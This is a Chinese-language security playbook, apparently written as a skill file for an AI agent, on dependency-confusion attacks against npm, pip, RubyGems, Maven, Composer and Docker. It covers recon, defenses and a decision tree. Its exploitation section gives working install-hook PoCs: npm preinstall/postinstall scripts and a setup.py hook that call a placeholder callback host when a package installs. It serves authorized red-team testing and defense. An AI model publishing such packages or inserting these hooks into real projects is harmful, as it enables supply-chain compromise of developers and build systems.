透過套件管理器的相依性混淆(Dependency Confusion)進行供應鏈測試:當內部套件名稱被解析至攻擊者控制的公開 Registry 時,可能導致惡意套件安裝與腳本執行。本 Skill 適用於 npm/pip/gem/Maven/Composer/Docker 資訊清單(Manifest)審查,以及獲得授權的紅隊供應鏈演練。
SKILL: 相依性混淆(Dependency Confusion)— 供應鏈攻擊演練手冊
AI 載入指令:專業的相依性混淆(Dependency Confusion)方法論。內容涵蓋私有套件名稱如何外洩、公開 Registry 如何在版本解析中勝出、特定生態系統的陷阱(npm scope、pip extra indexes、Maven 儲存庫順序)、偵察指令、非破壞性 PoC 模式(使用 Callback 回呼而非資料外洩),以及防禦控制措施。當範圍包含 Manifest 或 CI 快取時,請搭配供應鏈偵察工作流程使用。僅限在獲得授權測試的系統與專案中使用。
0. 快速入門
優先排查重點
- 包含看起來像內部套件(短名稱且未加上 Scope、組織特有 Token、產品代號)的 Manifest,且未設定強制私有 Registry 鎖定。
- 跡象表明相同名稱可能存在(或可被搶註/Squat)於公開 Registry 上,且其語意化版本(semver)高於私有源發布的版本。
- Lockfile 缺失、過期或未在 CI 中強制執行,導致
install/build過程偏向抓取公開的元資料(Metadata)。
心智模型:若解析器能同時存取私有與公開 Index,且版本範圍符合要求,則「最新」的符合版本就很可能是攻擊者所發布的。
路由說明:若任務源自供應鏈、儲存庫外洩或 CI 構建偵察,請先使用 recon-for-sec 列出內部套件名稱及可能的公開 Registry 碰撞風險。
1. 核心概念
- 私有套件:組織僅在內部 Registry(或依據「專屬內部」的命名慣例)發布函式庫,例如具備 Scope 的名稱
@org-scope/internal-utils,或未加上 Scope 的名稱如acme-billing-sdk。 - 攻擊者搶註名稱:在公開 Registry(如 npmjs、PyPI、RubyGems 等)上發布同名的套件。
- 解析器偏好:許多套件管理器的設定會在所有已配置的 Index 中解析最高符合版本(或合併 Metadata),因此在版本範圍允許下,公開的
9.9.9會優先於私有的1.2.3。 - 程式碼執行:套件管理器執行生命週期腳本(如 npm 的
preinstall/postinstall、setuptools 入口點等)→ 攻擊者程式碼隨即在開發者電腦、CI 環境或正式環境容器映像檔建置過程中運行。
這屬於供應鏈層級的安全問題:影響範圍通常極廣(涉及眾多使用者),且在建置或執行階段 Hook 觸發前往往難以察覺。
2. 受影響的生態系統
| 生態系統 | 常見 Manifest | 相依性混淆切入點 |
|---|---|---|
| npm | package.json |
當 Scope 在 Registry 上已被合法擁有時,具備 Scope 的套件 (@scope/pkg) 較為安全;未加上 Scope 的私有風格名稱則屬於高風險。多重 Registry / .npmrc 中的 registry 與個別 Scope 的 @scope:registry= 設定不當會增加風險。 |
| pip | requirements.txt, pyproject.toml, setup.py |
使用 pip install -i / --extra-index-url 會合併多個 Index;公開 Index 可能會針對相同的 Distribution 名稱提供更高版本。 |
| RubyGems | Gemfile |
source 的順序及額外的 Source 設定;可從 rubygems.org 存取到的模稜兩可 Gem 名稱。 |
| Maven | pom.xml |
Repository 宣告順序與 Mirror 設定;若策略允許,發布相同 groupId:artifactId 但版本更高的公開 Repo 將會勝出。 |
| Composer | composer.json |
預設使用 Packagist;缺少 repositories/canonical 規範的私有套件可能會與公開名稱發生碰撞。 |
| Docker | FROM, image tags |
在容器 Registry(如 Docker Hub)上搶註與內部 Base Image 名稱相似的 Image(拼寫搶註/Typosquatting)。 |
3. 資訊偵察
內部名稱外洩管道
- 提交至儲存庫(Repo)或 Fork 中的
package.json、requirements.txt、Gemfile、pom.xml、composer.json。 - 引用套件路徑的 JavaScript Source Map、打包後的靜態資源或錯誤堆疊追蹤(Error Stack Trace)。
- 顯現安裝 URL 或 Mirror 端點的
.npmrc、.pypirc及 CI 紀錄檔。 - Issue 追蹤系統、Gist 程式碼片段以及 SBOM 匯出檔案中的相依性圖譜(Dependency Graph)。
檢查公開 Registry 搶註/可占有性(僅限唯讀)
# npm — metadata for a name (unscoped)
npm view some-internal-package-name version
# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json
# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'
# RubyGems — query remote
gem search '^some-internal-package-name$' --remote
# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"
路由說明:完成套件名稱列舉後,請僅在獲得授權的環境中考慮進行 PoC;公開 Registry 的查詢本身通常屬於被動偵察。
4. 漏洞利用(Exploitation)
授權測試模式
- 在目標解析器可存取的公開 Registry 上,註冊(或使用受控的命名空間)相同的套件名稱。
- 在受害者宣告的版本範圍內,發布比合法內部套件更高的語意化版本(semver)(例如
^1.0.0→ 發布9.9.9)。 - 加入可證明程式碼已執行的生命週期 Hook,且不得危害主機—優先使用指向您控制之 Collaborator 的 DNS/HTTP Callback 回呼,嚴禁破壞性寫入。
npm package.json — 最小化 Callback 風格 PoC 範例
{
"name": "some-internal-package-name",
"version": "9.9.9",
"description": "authorized dependency-confusion PoC only",
"scripts": {
"preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
}
}
npm package.json — Shell + curl 備用 PoC 範例
{
"scripts": {
"postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
}
}
pip — setup Hook 模式範例(僅限於獲授權的實驗室套件中使用)
# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install
class PoCInstall(install):
def run(self):
import urllib.request
urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
install.run(self)
setup(
name="some-internal-package-name",
version="9.9.9",
cmdclass={"install": PoCInstall},
)
參考實作(研究/實驗室):社群 PoC 架構與工作流程可參考 0xsapra/dependency-confusion-exploit — 僅在取得書面授權前提下自動化進行版本遞增、發布與 Callback 確認。
5. 工具
| 工具 | 用途 |
|---|---|
| visma-prodsec/confused | 掃描 Manifest 檔案,找出可能可在公開 Registry 上被搶註/宣告的相依性套件名稱(支援多種生態系統)。 |
| synacktiv/DepFuzzer | 自動化相依性混淆測試工作流程(嚴格限制在授權測試範圍內使用)。 |
請僅針對您自家的 Manifest 或獲得授權的演練專案執行上述工具;切勿用於搶註無關第三方套件名稱。
6. 防禦措施
- npm:優先使用由組織擁有的 Scoped 套件 (
@org-scope/pkg);設定.npmrc將私有 Scope 對映至私有 Registry,避免預設的registry意外將內部套件導向公開源。 - 固定版本:在 CI 中強制實施精確版本(Exact version) + Lockfile (
package-lock.json、poetry.lock、Gemfile.lock、composer.lock)。 - pip:避免隨意使用
--extra-index-url;優先採用具備 Mirroring 機制的單一私有 Index,或在 CI 中設定明確的--index-url策略。 - Maven / Gradle:管控 Repository 順序、使用內部 Mirror,並在發布管道(Release Pipeline)中封鎖非預期的 groupId。
- Composer:針對私有套件使用
repositories並設定canonical: true;確認 Packagist 未引入非預期的 Vendor。 - 防禦性註冊:在政策允許的情況下,於公開 Registry 上預留內部套件名稱(自我搶註)。
- 持續監控:使用 Socket.dev、Snyk 或類似的 SBOM/供應鏈掃描工具,針對關鍵套件的新發布者或版本異常跳躍發出警報。
7. 決策樹
Manifest 中是否引用了可能在全域非唯一的套件名稱?
├─ 否 → 單純依據命名不太可能發生相依性混淆;請轉向排查拼寫搶註(Typosquatting)或帳號遭入侵等風險。
└─ 是
├─ 私有 Registry 是否為該名稱的「唯一」來源(Scoped + .npmrc / 單一 Index / Mirror)?
│ ├─ 是 → 風險較低;但仍需確認 CI 與開發者電腦未覆寫配置。
│ └─ 否 → 高風險
│ ├─ 公開 Registry 能否在已宣告的範圍內發布「更高版本」?
│ │ ├─ 能 → 在授權測試中視為可利用漏洞;使用 Callback PoC 進行驗證。
│ │ └─ 不能 → 排查 Pre-release Tag、本地 `file:` 相依性以及過期的 Lockfile。
│ └─ CI 中是否已停用/封鎖生命週期腳本?(可降低影響,但無法消除搶註風險)
相關路由
- 來自
recon-for-sec:進行供應鏈偵察時,在提出任何發布或 PoC 步驟前,請先將外洩的 Manifest 與內部套件識別碼,交叉比對第 3 節的檢查項目與第 7 節的決策樹。




